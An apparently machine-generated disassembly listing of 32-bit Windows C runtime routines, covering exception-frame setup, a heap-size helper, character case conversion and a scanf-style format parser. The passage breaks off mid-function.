cmp dword ptr [eax+14h], 19930520h
jnz short loc_41534F
cmp dword ptr [eax+1Ch], 0
jnz short loc_41534F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41534F: ; CODE XREF: sub_415328+Cj
; sub_415328+12j ...
xor eax, eax
retn
sub_415328 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415352 proc near ; CODE XREF: sub_4151A1+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41C800
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_4154FB
cmp byte ptr [eax+8], 0
jz loc_4154FB
mov eax, [ecx+8]
test eax, eax
jz loc_4154FB
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_4153EF
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_418980
pop ecx
pop ecx
test eax, eax
jz loc_4154F2
push 1
push edi
call sub_41899C
pop ecx
pop ecx
test eax, eax
jz loc_4154F2
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_4153E0: ; CODE XREF: sub_415352+F5j
push eax
call sub_41557D
pop ecx
pop ecx
mov [edi], eax
jmp loc_4154F7
; ---------------------------------------------------------------------------
loc_4153EF: ; CODE XREF: sub_415352+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_415449
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_418980
pop ecx
pop ecx
test eax, eax
jz loc_4154F2
push 1
push edi
call sub_41899C
pop ecx
pop ecx
test eax, eax
jz loc_4154F2
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_4112D0
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_4154F7
mov eax, [edi]
test eax, eax
jz loc_4154F7
add esi, 8
push esi
jmp short loc_4153E0
; ---------------------------------------------------------------------------
loc_415449: ; CODE XREF: sub_415352+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_415491
call sub_418980
pop ecx
pop ecx
test eax, eax
jz loc_4154F2
push 1
push edi
call sub_41899C
pop ecx
pop ecx
test eax, eax
jz short loc_4154F2
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_41557D
pop ecx
pop ecx
push eax
push edi
call sub_4112D0
add esp, 0Ch
jmp short loc_4154F7
; ---------------------------------------------------------------------------
loc_415491: ; CODE XREF: sub_415352+103j
call sub_418980
pop ecx
pop ecx
test eax, eax
jz short loc_4154F2
push 1
push edi
call sub_41899C
pop ecx
pop ecx
test eax, eax
jz short loc_4154F2
push dword ptr [esi+18h]
call sub_4189B8
pop ecx
test eax, eax
jz short loc_4154F2
test byte ptr [esi], 4
jz short loc_4154D8
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41557D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_410F05
jmp short loc_4154F7
; ---------------------------------------------------------------------------
loc_4154D8: ; CODE XREF: sub_415352+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41557D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_410EFE
jmp short loc_4154F7
; ---------------------------------------------------------------------------
loc_4154F2: ; CODE XREF: sub_415352+6Aj
; sub_415352+7Cj ...
call sub_415642
loc_4154F7: ; CODE XREF: sub_415352+98j
; sub_415352+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_4154FB: ; CODE XREF: sub_415352+2Ej
; sub_415352+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_415352 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_4155EC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415516 proc near ; CODE XREF: sub_414E41+170p
; sub_4152E2+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41C810
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_41555D
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_41555D
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_410EFE
or [ebp+var_4], 0FFFFFFFFh
loc_41555D: ; CODE XREF: sub_415516+2Aj
; sub_415516+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_415516 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_4155EC
; =============== S U B R O U T I N E =======================================
sub_41557D proc near ; CODE XREF: sub_415352+8Fp
; sub_415352+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41559E
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41559E: ; CODE XREF: sub_41557D+12j
pop esi
retn
sub_41557D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155A0 proc near ; CODE XREF: sub_410F91+40p
; sub_4150ED+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41127D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_4155DF
mov ecx, 2
loc_4155DF: ; CODE XREF: sub_4155A0+38j
push ecx
call sub_41127D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_4155A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155EC proc near ; CODE XREF: sub_414E41:loc_414FE3j
; sub_41518B:loc_41519Cj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004189D0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41C820
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, ds:dword_45F8C0
test eax, eax
jz short loc_415634
mov [ebp+var_4], 1
call eax
jmp short loc_415630
; ---------------------------------------------------------------------------
loc_415629: ; DATA XREF: seg001:0041C830o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41562D: ; DATA XREF: seg001:0041C834o
mov esp, [ebp+var_18]
loc_415630: ; CODE XREF: sub_4155EC+3Bj
and [ebp+var_4], 0
loc_415634: ; CODE XREF: sub_4155EC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41563D: ; DATA XREF: seg001:0041C828o
jmp loc_4189D0
sub_4155EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415642 proc near ; CODE XREF: sub_411133+23p
; sub_411133:loc_41119Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41C838
push offset sub_417B48
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, ds:off_42E4F4
test eax, eax
jz short loc_41568A
mov [ebp+var_4], 1
call eax ; sub_4155EC
jmp short loc_415686
; ---------------------------------------------------------------------------
loc_41567F: ; DATA XREF: seg001:0041C848o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_415683: ; DATA XREF: seg001:0041C84Co
mov esp, [ebp+var_18]
loc_415686: ; CODE XREF: sub_415642+3Bj
and [ebp+var_4], 0
loc_41568A: ; CODE XREF: sub_415642+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_415693: ; DATA XREF: seg001:0041C840o
jmp sub_4155EC
sub_415642 endp
; =============== S U B R O U T I N E =======================================
sub_415698 proc near ; CODE XREF: sub_411613+7p
; sub_411613+26p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_413550
test eax, eax
pop ecx
jz short loc_4156B0
mov eax, [esi-4]
pop esi
sub eax, 9
retn
; ---------------------------------------------------------------------------
loc_4156B0: ; CODE XREF: sub_415698+Ej
push esi
push 0
push ds:dword_460EA0
call ds:dword_41C170 ; RtlSizeHeap
pop esi
retn
sub_415698 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156C1 proc near ; CODE XREF: sub_4116C1+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_45F8D0, 0
push ebx
jnz short loc_4156EC
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41578A
cmp eax, 7Ah
jg loc_41578A
sub eax, 20h
jmp loc_41578A
; ---------------------------------------------------------------------------
loc_4156EC: ; CODE XREF: sub_4156C1+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41571F
cmp ds:dword_42E39C, 1
jle short loc_41570C
push 2
push ebx
call sub_413446
pop ecx
pop ecx
jmp short loc_415717
; ---------------------------------------------------------------------------
loc_41570C: ; CODE XREF: sub_4156C1+3Dj
mov eax, ds:off_42E190
mov al, [eax+ebx*2]
and eax, 2
loc_415717: ; CODE XREF: sub_4156C1+49j
test eax, eax
jnz short loc_41571F
loc_41571B: ; CODE XREF: sub_4156C1+AFj
mov eax, ebx
jmp short loc_41578A
; ---------------------------------------------------------------------------
loc_41571F: ; CODE XREF: sub_4156C1+34j
; sub_4156C1+58j
mov edx, ds:off_42E190
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_415742
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41574B
; ---------------------------------------------------------------------------
loc_415742: ; CODE XREF: sub_4156C1+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41574B: ; CODE XREF: sub_4156C1+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push ds:dword_45F8D0
call loc_416B94
add esp, 20h
test eax, eax
jz short loc_41571B
cmp eax, 1
jnz short loc_41577D
movzx eax, [ebp+var_4]
jmp short loc_41578A
; ---------------------------------------------------------------------------
loc_41577D: ; CODE XREF: sub_4156C1+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41578A: ; CODE XREF: sub_4156C1+14j
; sub_4156C1+1Dj ...
pop ebx
leave
retn
sub_4156C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41578D proc near ; CODE XREF: sub_4118E0+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_416193
mov edi, [ebp+arg_0]
jmp short loc_4157BC
; ---------------------------------------------------------------------------
loc_4157B7: ; CODE XREF: sub_41578D+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_4157BC: ; CODE XREF: sub_41578D+28j
cmp ds:dword_42E39C, 1
jle short loc_4157D4
movzx eax, al
push 8
push eax
call sub_413446
pop ecx
pop ecx
jmp short loc_4157E3
; ---------------------------------------------------------------------------
loc_4157D4: ; CODE XREF: sub_41578D+36j
mov ecx, ds:off_42E190
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_4157E3: ; CODE XREF: sub_41578D+45j
cmp eax, ebx
jz short loc_41581D
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41621A
pop ecx
pop ecx
push eax
call sub_416203
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_418AAF
add esp, 0Ch
loc_41580B: ; CODE XREF: sub_41578D+8Ej
test eax, eax
jz short loc_41581D
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_418AAF
pop ecx
jmp short loc_41580B
; ---------------------------------------------------------------------------
loc_41581D: ; CODE XREF: sub_41578D+58j
; sub_41578D+80j
cmp byte ptr [esi], 25h
jnz loc_4160FF
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_415854: ; CODE XREF: sub_41578D+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp ds:dword_42E39C, 1
jle short loc_415871
movzx eax, bl
push 4
push eax
call sub_413446
pop ecx
pop ecx
jmp short loc_415880
; ---------------------------------------------------------------------------
loc_415871: ; CODE XREF: sub_41578D+D3j
mov ecx, ds:off_42E190
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_415880: ; CODE XREF: sub_41578D+E2j
test eax, eax
jz short loc_415896
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_4158FB
; ---------------------------------------------------------------------------
loc_415896: ; CODE XREF: sub_41578D+F5j
cmp ebx, 4Eh
jg short loc_4158D9
jz short loc_4158FB
cmp ebx, 2Ah
jz short loc_4158D4
cmp ebx, 46h
jz short loc_4158FB
cmp ebx, 49h
jz short loc_4158B6
cmp ebx, 4Ch
jnz short loc_4158E8
inc [ebp+var_D]
jmp short loc_4158FB
; ---------------------------------------------------------------------------
loc_4158B6: ; CODE XREF: sub_41578D+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_4158E8
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_4158E8
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_4158FB
; ---------------------------------------------------------------------------
loc_4158D4: ; CODE XREF: sub_41578D+113j
inc [ebp+var_E]
jmp short loc_4158FB
; ---------------------------------------------------------------------------
loc_4158D9: ; CODE XREF: sub_41578D+10Cj
cmp ebx, 68h
jz short loc_4158F5
cmp ebx, 6Ch
jz short loc_4158ED
cmp ebx, 77h
jz short loc_4158F0
loc_4158E8: ; CODE XREF: sub_41578D+122j
; sub_41578D+12Dj ...
inc [ebp+var_F]
jmp short loc_4158FB
; ---------------------------------------------------------------------------
loc_4158ED: ; CODE XREF: sub_41578D+154j
inc [ebp+var_D]
loc_4158F0: ; CODE XREF: sub_41578D+159j
inc [ebp+var_5]
jmp short loc_4158FB
; ---------------------------------------------------------------------------
loc_4158F5: ; CODE XREF: sub_41578D+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_4158FB: ; CODE XREF: sub_41578D+107j
; sub_41578D+10Ej ...
cmp [ebp+var_F], 0
jz loc_415854
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_415920
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_415920: ; CODE XREF: sub_41578D+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41593E
mov al, [esi]
cmp al, 53h
jz short loc_41593A
cmp al, 43h
jz short loc_41593A
or [ebp+var_5], 0FFh
jmp short loc_41593E
; ---------------------------------------------------------------------------
loc_41593A: ; CODE XREF: sub_41578D+1A1j
; sub_41578D+1A5j
mov [ebp+var_5], 1
loc_41593E: ; CODE XREF: sub_41578D+19Bj
; sub_41578D+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_415977
cmp esi, 63h
jz short loc_415968
cmp esi, 7Bh
jz short loc_415968
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41621A
pop ecx
jmp short loc_415973
; ---------------------------------------------------------------------------
loc_415968: ; CODE XREF: sub_41578D+1C5j
; sub_41578D+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_4161E9
loc_415973: ; CODE XREF: sub_41578D+1D9j
pop ecx
mov [ebp+var_14], eax
loc_415977: ; CODE XREF: sub_41578D+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_415987
cmp [ebp+var_C], eax
jz loc_416163
loc_415987: ; CODE XREF: sub_41578D+1EFj
cmp esi, 6Fh
jg loc_415BEE
jz loc_415EA0
cmp esi, 63h
jz loc_415BCB
cmp esi, 64h
jz loc_415EA0
jle loc_415C18
cmp esi, 67h
jle short loc_4159EB
cmp esi, 69h
jz short loc_4159D3
cmp esi, 6Eh
jnz loc_415C18
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_4160CE
jmp loc_4160F4
; ---------------------------------------------------------------------------
loc_4159D3: ; CODE XREF: sub_41578D+229j
push 64h
pop esi
loc_4159D6: ; CODE XREF: sub_41578D+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_415C60
mov [ebp+var_17], 1
jmp loc_415C65
; ---------------------------------------------------------------------------
loc_4159EB: ; CODE XREF: sub_41578D+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_415A07
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_415A0C
; ---------------------------------------------------------------------------
loc_415A07: ; CODE XREF: sub_41578D+26Aj
cmp ebx, 2Bh
jnz short loc_415A23
loc_415A0C: ; CODE XREF: sub_41578D+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_4161E9
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_415A26
; ---------------------------------------------------------------------------
loc_415A23: ; CODE XREF: sub_41578D+27Dj
mov edi, [ebp+arg_0]
loc_415A26: ; CODE XREF: sub_41578D+294j
cmp [ebp+var_20], 0
jz short loc_415A35
cmp [ebp+var_C], 15Dh
jle short loc_415A3C
loc_415A35: ; CODE XREF: sub_41578D+29Dj
mov [ebp+var_C], 15Dh
loc_415A3C: ; CODE XREF: sub_41578D+2A6j
; sub_41578D+2F2j
cmp ds:dword_42E39C, 1
jle short loc_415A51
push 4
push ebx
call sub_413446
pop ecx
pop ecx
jmp short loc_415A5C
; ---------------------------------------------------------------------------
loc_415A51: ; CODE XREF: sub_41578D+2B6j
mov eax, ds:off_42E190
mov al, [eax+ebx*2]
and eax, 4
loc_415A5C: ; CODE XREF: sub_41578D+2C2j
test eax, eax
jz short loc_415A81
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_415A81
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_4161E9
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_415A3C
; ---------------------------------------------------------------------------
loc_415A81: ; CODE XREF: sub_41578D+2D1j
; sub_41578D+2DBj
cmp ds:byte_42E3A0, bl
jnz short loc_415AEF
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_415AEF
inc [ebp+var_4]
push edi
call sub_4161E9
mov ebx, eax
mov al, ds:byte_42E3A0
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_415AAA: ; CODE XREF: sub_41578D+360j
cmp ds:dword_42E39C, 1
jle short loc_415ABF
push 4
push ebx
call sub_413446
pop ecx
pop ecx
jmp short loc_415ACA
; ---------------------------------------------------------------------------
loc_415ABF: ; CODE XREF: sub_41578D+324j
mov eax, ds:off_42E190
mov al, [eax+ebx*2]
and eax, 4
loc_415ACA: ; CODE XREF: sub_41578D+330j
test eax, eax
jz short loc_415AEF
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_415AEF
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_4161E9
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_415AAA
; ---------------------------------------------------------------------------
loc_415AEF: ; CODE XREF: sub_41578D+2FAj
; sub_41578D+304j ...
cmp [ebp+var_1C], 0
jz loc_415B87
cmp ebx, 65h
jz short loc_415B07
cmp ebx, 45h
jnz loc_415B87
loc_415B07: ; CODE XREF: sub_41578D+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_415B87
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_4161E9
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_415B2E
mov [esi], al
inc esi
jmp short loc_415B33
; ---------------------------------------------------------------------------
loc_415B2E: ; CODE XREF: sub_41578D+39Aj
cmp ebx, 2Bh
jnz short loc_415B51
loc_415B33: ; CODE XREF: sub_41578D+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_415B42
and [ebp+var_C], eax
jmp short loc_415B51
; ---------------------------------------------------------------------------
loc_415B42: ; CODE XREF: sub_41578D+3AEj
; sub_41578D+3F8j
inc [ebp+var_4]
push edi
call sub_4161E9
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_415B51: ; CODE XREF: sub_41578D+3A4j
; sub_41578D+3B3j
cmp ds:dword_42E39C, 1
jle short loc_415B66
push 4
push ebx
call sub_413446
pop ecx
pop ecx
jmp short loc_415B71
; ---------------------------------------------------------------------------
loc_415B66: ; CODE XREF: sub_41578D+3CBj
mov eax, ds:off_42E190
mov al, [eax+ebx*2]
and eax, 4
loc_415B71: ; CODE XREF: sub_41578D+3D7j
test eax, eax
jz short loc_415B87
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_415B87
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_415B42
; ---------------------------------------------------------------------------
loc_415B87: ; CODE XREF: sub_41578D+366j
; sub_41578D+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_416203
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_416193
cmp [ebp+var_E], 0
jnz loc_4160F4
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call ds:off_42E4D0
add esp, 0Ch
jmp loc_4160F4
; ---------------------------------------------------------------------------
loc_415BCB: ; CODE XREF: sub_41578D+20Cj
cmp [ebp+var_20], eax
jnz short loc_415BDA
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_415BDA: ; CODE XREF: sub_41578D+441j
cmp [ebp+var_5], 0
jle short loc_415BE4
mov [ebp+var_16], 1
loc_415BE4: ; CODE XREF: sub_41578D+451j
mov edi, offset dword_42E500
jmp loc_415CF9
; ---------------------------------------------------------------------------
loc_415BEE: ; CODE XREF: sub_41578D+1FDj
mov eax, esi
sub eax, 70h
jz loc_415E9C
sub eax, 3
jz loc_415CEA
dec eax
dec eax
jz loc_415EA0
sub eax, 3
jz loc_4159D6
sub eax, 3
jz short loc_415C3C
loc_415C18: ; CODE XREF: sub_41578D+21Bj
; sub_41578D+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_416163
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_4160F4
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_4160F4
; ---------------------------------------------------------------------------
loc_415C3C: ; CODE XREF: sub_41578D+489j
cmp [ebp+var_5], 0
jle short loc_415C46
mov [ebp+var_16], 1
loc_415C46: ; CODE XREF: sub_41578D+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_415CFD
mov eax, edi
lea edi, [eax+1]
jmp loc_415CF9
; ---------------------------------------------------------------------------
loc_415C60: ; CODE XREF: sub_41578D+24Fj
cmp ebx, 2Bh
jnz short loc_415C87
loc_415C65: ; CODE XREF: sub_41578D+259j
dec [ebp+var_C]
jnz short loc_415C76
cmp [ebp+var_20], 0
jz short loc_415C76
mov [ebp+var_F], 1
jmp short loc_415C87
; ---------------------------------------------------------------------------
loc_415C76: ; CODE XREF: sub_41578D+4DBj
; sub_41578D+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_4161E9
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_415C87: ; CODE XREF: sub_41578D+4D6j
; sub_41578D+4E7j
cmp ebx, 30h
jnz loc_415ED5
push [ebp+arg_0]
inc [ebp+var_4]
call sub_4161E9
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_415CD5
cmp bl, 58h
jz short loc_415CD5
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_415CBF
push 6Fh
loc_415CB9: ; CODE XREF: sub_41578D+55Bj
pop esi
jmp loc_415ED5
; ---------------------------------------------------------------------------
loc_415CBF: ; CODE XREF: sub_41578D+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_416203
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_415ED2
; ---------------------------------------------------------------------------
loc_415CD5: ; CODE XREF: sub_41578D+517j
; sub_41578D+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_4161E9
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_415CB9
; ---------------------------------------------------------------------------
loc_415CEA: ; CODE XREF: sub_41578D+46Fj
cmp [ebp+var_5], 0
jle short loc_415CF4
mov [ebp+var_16], 1
loc_415CF4: ; CODE XREF: sub_41578D+561j
mov edi, offset dword_42E4F8
loc_415CF9: ; CODE XREF: sub_41578D+45Cj
; sub_41578D+4CEj
or [ebp+var_18], 0FFh
loc_415CFD: ; CODE XREF: sub_41578D+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_410590
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_415D21
cmp byte ptr [edi], 5Dh
jnz short loc_415D21
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_415D24
; ---------------------------------------------------------------------------
loc_415D21: ; CODE XREF: sub_41578D+584j
; sub_41578D+589j
mov dl, [ebp+var_35]
loc_415D24: ; CODE XREF: sub_41578D+592j
; sub_41578D+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_415D89
inc edi
cmp al, 2Dh
jnz short loc_415D70
test dl, dl
jz short loc_415D70
mov cl, [edi]
cmp cl, 5Dh
jz short loc_415D70
inc edi
cmp dl, cl
jnb short loc_415D43
mov al, cl
jmp short loc_415D47
; ---------------------------------------------------------------------------
loc_415D43: ; CODE XREF: sub_41578D+5B0j
mov al, dl
mov dl, cl
loc_415D47: ; CODE XREF: sub_41578D+5B4j
cmp dl, al
ja short loc_415D6C
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_415D54: ; CODE XREF: sub_41578D+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_415D54
loc_415D6C: ; CODE XREF: sub_41578D+5BCj
xor dl, dl
jmp short loc_415D24
; ---------------------------------------------------------------------------
loc_415D70: ; CODE XREF: sub_41578D+5A0j
; sub_41578D+5A4j ...
movzx ecx, al
